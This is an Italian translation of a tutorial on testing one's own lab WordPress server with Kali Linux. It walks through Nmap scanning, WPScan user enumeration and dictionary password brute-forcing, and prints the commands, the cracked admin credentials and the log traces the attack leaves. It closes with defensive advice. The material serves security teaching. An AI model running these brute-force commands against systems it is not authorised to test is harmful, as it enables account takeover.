GNU/Linux >> Linux Esercitazione >  >> Linux

Test della penna con strumenti di sicurezza Linux

La moltitudine di violazioni ben pubblicizzate delle grandi società di consumatori sottolinea l'importanza fondamentale della gestione della sicurezza del sistema. Fortunatamente, ci sono molte applicazioni diverse che aiutano a proteggere i sistemi informatici. Uno è Kali, una distribuzione Linux sviluppata per test di sicurezza e di penetrazione. Questo articolo mostra come utilizzare Kali Linux per indagare sul tuo sistema per trovare punti deboli.

Kali installa molti strumenti, tutti open source, e averli installati per impostazione predefinita semplifica le cose.

I sistemi che userò in questo tutorial sono:

  1. kali.usersys.redhat.com :Questo è il sistema in cui avvierò le scansioni e gli attacchi. Dispone di 30 GB di memoria e sei CPU virtualizzate (vCPU).
  2. vulnerable.usersys.redhat.com :Questo è un sistema Red Hat Enterprise Linux 8 che sarà l'obiettivo. Ha 16 GB di memoria e sei vCPU. Questo è un sistema relativamente aggiornato, ma alcuni pacchetti potrebbero non essere aggiornati.
  3. Questo sistema include anche httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64 , mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64 , tigervnc-server-1.9.0-15.el8_1.x86_64 , vsftpd-3.0.3-32.el8.x86_64 e WordPress versione 5.6.1.

Ho incluso le specifiche hardware di cui sopra perché alcune di queste attività sono piuttosto impegnative, specialmente per la CPU del sistema di destinazione quando si esegue WordPress Security Scanner (WPScan).

Esamina il tuo sistema

Ho iniziato la mia indagine con una scansione Nmap di base sul mio sistema di destinazione. (Puoi approfondire Nmap leggendo Usare i risultati di Nmap per rafforzare i sistemi Linux.) Una scansione di Nmap è un modo rapido per avere una panoramica di quali porte e servizi sono visibili dal sistema che avvia la scansione di Nmap.

Questa scansione predefinita mostra che ci sono diverse porte aperte potenzialmente interessanti. In realtà, qualsiasi porta aperta è probabilmente interessante perché potrebbe essere un modo per un utente malintenzionato di violare la tua rete. In questo esempio, le porte 21, 22, 80 e 443 sono utili da scansionare perché sono servizi comunemente usati. In questa fase iniziale, sto semplicemente facendo un lavoro di ricognizione e sto cercando di ottenere quante più informazioni possibili sul sistema di destinazione.

Voglio esaminare la porta 80 con Nmap, quindi uso il -p 80 argomento per guardare la porta 80 e -A per ottenere informazioni come il sistema operativo e la versione dell'applicazione.

Alcune delle linee chiave in questo output sono:

PORT   STATE SERVICE VERSION
80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1

Dato che ora so che si tratta di un server WordPress, posso utilizzare WPScan per ottenere informazioni sui potenziali punti deboli. Una buona indagine da eseguire è cercare di trovare alcuni nomi utente. Usando --enumerate u dice a WPScan di cercare utenti nell'istanza di WordPress. Ad esempio:

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021

Interesting Finding(s):
...
[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] pgervase
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Questo mostra che ci sono due utenti:admin e pgervase . Proverò a indovinare la password per admin utilizzando un dizionario delle password, che è un file di testo con molte possibili password. Il dizionario che ho usato era 37G e aveva 3.543.076.137 righe.

Come se ci fossero più editor di testo, browser web e altre applicazioni tra cui scegliere, ci sono più strumenti disponibili per lanciare attacchi con password. Ecco due comandi di esempio che utilizzano Nmap e WPScan:

# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

Questo script Nmap è uno dei tanti possibili script che avrei potuto utilizzare e la scansione dell'URL con WPScan è solo una delle tante attività possibili che questo strumento può svolgere. Puoi decidere quale preferisci utilizzare

Questo esempio di WPScan mostra la password alla fine del file:

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021

Interesting Finding(s):

…..

[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <=========================================================                                                         > (3231 / 6462) 50.00%  ETA: ??:??:??
[SUCCESS] - admin / redhat                                                                                                                                                                      

[!] Valid Combinations Found:
 | Username: admin, Password: redhat

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02

La sezione Combinazioni valide trovate verso la fine contiene il nome utente e la password dell'amministratore. Ci sono voluti solo due minuti per passare attraverso 3.231 righe.

Ho un altro file di dizionario con 3.238.659.984 voci univoche, che richiederebbero molto più tempo e lascerebbero molte più prove.

L'uso di Nmap produce un risultato molto più veloce:

┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
|   Accounts:
|       admin:redhat - Valid credentials              <<<<<<<
|       pgervase:redhat - Valid credentials         <<<<<<<
|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version     port/proto  service
|   100000  2,3,4       111/tcp   rpcbind
|   100000  2,3,4       111/udp   rpcbind
|   100000  3,4         111/tcp6  rpcbind
|_  100000  3,4         111/udp6  rpcbind
3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

Tuttavia, l'esecuzione di una scansione come questa può lasciare una marea di messaggi di registrazione HTTPD sul sistema di destinazione:

10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"

Per ottenere informazioni sul server HTTPS trovato nella mia scansione iniziale di Nmap, ho usato sslscan comando:

┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev  xx XXX xxxx

Connected to 10.19.47.242

Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com

  SSL/TLS Protocols:
SSLv2   disabled
SSLv3   disabled
TLSv1.0   disabled
TLSv1.1   disabled
TLSv1.2   enabled
TLSv1.3   enabled
<snip>

Questo mostra informazioni sui protocolli SSL abilitati e, più in basso nell'output, informazioni sulla vulnerabilità Heartbleed:

  Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed

Suggerimenti per prevenire o mitigare gli attaccanti

Più risorse Linux

  • Comandi Linux cheat sheet
  • Cheat sheet sui comandi avanzati di Linux
  • Corso online gratuito:Panoramica tecnica RHEL
  • Cheat sheet della rete Linux
  • Cheat sheet di SELinux
  • Cheat sheet dei comandi comuni di Linux
  • Cosa sono i container Linux?
  • I nostri ultimi articoli su Linux

Ci sono molti modi per difendere i tuoi sistemi dalla moltitudine di attaccanti là fuori. Alcuni punti chiave sono:

  • Conosci i tuoi sistemi: Ciò include sapere quali porte sono aperte, quali porte dovrebbero essere aperte, chi dovrebbe essere in grado di vedere quelle porte aperte e qual è il traffico previsto su tali servizi. Nmap è un ottimo strumento per conoscere i sistemi in rete.
  • Utilizza le best practice attuali: Quella che oggi è considerata una best practice potrebbe non essere una best practice in futuro. In qualità di amministratore, è importante rimanere aggiornato sulle tendenze nel regno di infosec.
  • Sapere come utilizzare i tuoi prodotti: Ad esempio, invece di lasciare che un utente malintenzionato martelli continuamente il tuo sistema WordPress, blocca il suo indirizzo IP e limita il numero di volte in cui può tentare di accedere prima di essere bloccato. Bloccare l'indirizzo IP potrebbe non essere così utile nel mondo reale perché è probabile che gli aggressori utilizzino sistemi compromessi per lanciare attacchi. Tuttavia, è un'impostazione facile da abilitare e potrebbe bloccare alcuni attacchi.
  • Mantieni e verifica backup validi: Se un utente malintenzionato comprende uno o più dei tuoi sistemi, essere in grado di ricostruire da backup noti buoni e puliti potrebbe far risparmiare un sacco di tempo e denaro.
  • Controlla i tuoi log: Come mostrano gli esempi precedenti, i comandi di scansione e penetrazione possono lasciare molti registri che indicano che un utente malintenzionato sta prendendo di mira il sistema. Se li noti, puoi intraprendere un'azione preventiva per mitigare il rischio.
  • Aggiorna i tuoi sistemi, le loro applicazioni ed eventuali moduli aggiuntivi: Come spiega la pubblicazione speciale NIST 800-40r3, "le patch sono solitamente il modo più efficace per mitigare le vulnerabilità dei difetti del software e spesso sono l'unica soluzione completamente efficace".
  • Utilizza gli strumenti forniti dai tuoi fornitori: I fornitori hanno diversi strumenti per aiutarti a mantenere i loro sistemi, quindi assicurati di trarne vantaggio. Ad esempio, Red Hat Insights, incluso negli abbonamenti Red Hat Enterprise Linux, può aiutarti a ottimizzare i tuoi sistemi e avvisarti di potenziali minacce alla sicurezza.

Ulteriori informazioni

Questa introduzione agli strumenti di sicurezza e a come usarli è solo la punta dell'iceberg. Per approfondire, potresti voler esaminare le seguenti risorse:

  • Armitage, uno strumento open source per la gestione degli attacchi
  • Centro sicurezza prodotti Red Hat
  • Canale di sicurezza di Red Hat
  • Pagina sulla sicurezza informatica del NIST
  • Utilizzare i risultati di Nmap per rafforzare i sistemi Linux

Linux
  1. Scansiona la tua sicurezza Linux con Lynis

  2. Comprensione delle chiamate di sistema su Linux con strace

  3. Distribuzioni Linux popolari per i test di sicurezza

  4. Pianificazione delle attività di sistema con Cron su Linux

  5. Monitoraggio della sicurezza in Linux con Tripwire

Impara LVM su Linux con strumenti grafici

Come controllare un sistema Linux remoto con Lynis Security Tool

Controllo della sicurezza di Linux con Lynis

Comando Linux Uptime con esempi

Introduzione al sistema operativo Linux

Audit di sicurezza con Lynis